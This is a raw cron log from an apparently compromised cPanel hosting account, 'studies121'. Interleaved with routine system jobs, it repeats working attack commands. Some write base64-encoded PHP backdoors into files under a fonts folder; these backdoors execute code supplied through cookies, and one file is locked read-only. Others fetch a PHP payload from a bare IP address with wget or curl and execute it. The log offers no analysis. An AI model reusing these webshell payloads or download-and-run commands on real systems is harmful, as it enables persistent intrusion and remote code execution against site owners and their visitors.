Aug 31 07:01:01 ip-184-168-122-23 CROND[18486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:01:01 ip-184-168-122-23 CROND[18487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:01:01 ip-184-168-122-23 CROND[18488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[18481]: starting 0anacron
Aug 31 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[18501]: finished 0anacron
Aug 31 07:02:01 ip-184-168-122-23 CROND[18578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:02:01 ip-184-168-122-23 CROND[18580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:02:01 ip-184-168-122-23 CROND[18581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:02:01 ip-184-168-122-23 CROND[18582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:02:01 ip-184-168-122-23 CROND[18583]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 07:03:01 ip-184-168-122-23 CROND[18688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:03:01 ip-184-168-122-23 CROND[18693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:03:01 ip-184-168-122-23 CROND[18692]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:03:01 ip-184-168-122-23 CROND[18695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:04:01 ip-184-168-122-23 CROND[18781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:04:01 ip-184-168-122-23 CROND[18780]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 07:04:02 ip-184-168-122-23 CROND[18783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:04:02 ip-184-168-122-23 CROND[18786]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:04:02 ip-184-168-122-23 CROND[18785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:05:01 ip-184-168-122-23 CROND[18972]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:05:01 ip-184-168-122-23 CROND[18974]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 07:05:01 ip-184-168-122-23 CROND[18978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:05:01 ip-184-168-122-23 CROND[18977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:05:01 ip-184-168-122-23 CROND[18979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:05:01 ip-184-168-122-23 CROND[18976]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 07:05:01 ip-184-168-122-23 CROND[18980]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 07:06:01 ip-184-168-122-23 CROND[19078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:06:01 ip-184-168-122-23 CROND[19077]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 07:06:01 ip-184-168-122-23 CROND[19082]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:06:01 ip-184-168-122-23 CROND[19083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:06:01 ip-184-168-122-23 CROND[19084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:07:01 ip-184-168-122-23 CROND[19168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:07:01 ip-184-168-122-23 CROND[19169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:07:01 ip-184-168-122-23 CROND[19173]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:07:01 ip-184-168-122-23 CROND[19174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:08:01 ip-184-168-122-23 CROND[19267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:08:01 ip-184-168-122-23 CROND[19266]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:08:01 ip-184-168-122-23 CROND[19268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:08:01 ip-184-168-122-23 CROND[19269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:08:01 ip-184-168-122-23 CROND[19270]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 07:09:01 ip-184-168-122-23 CROND[19374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:09:01 ip-184-168-122-23 CROND[19376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:09:01 ip-184-168-122-23 CROND[19377]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 07:09:01 ip-184-168-122-23 CROND[19378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:09:01 ip-184-168-122-23 CROND[19379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:10:01 ip-184-168-122-23 CROND[19495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:10:01 ip-184-168-122-23 CROND[19496]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 07:10:01 ip-184-168-122-23 CROND[19500]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 07:10:01 ip-184-168-122-23 CROND[19499]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:10:01 ip-184-168-122-23 CROND[19501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:10:01 ip-184-168-122-23 CROND[19504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:10:01 ip-184-168-122-23 CROND[19505]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 07:10:01 ip-184-168-122-23 CROND[19502]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 07:11:01 ip-184-168-122-23 CROND[19733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:11:01 ip-184-168-122-23 CROND[19735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:11:01 ip-184-168-122-23 CROND[19734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:11:01 ip-184-168-122-23 CROND[19736]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:12:01 ip-184-168-122-23 CROND[19843]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:12:01 ip-184-168-122-23 CROND[19847]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 07:12:01 ip-184-168-122-23 CROND[19846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:12:01 ip-184-168-122-23 CROND[19848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:12:01 ip-184-168-122-23 CROND[19845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:13:01 ip-184-168-122-23 CROND[19973]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
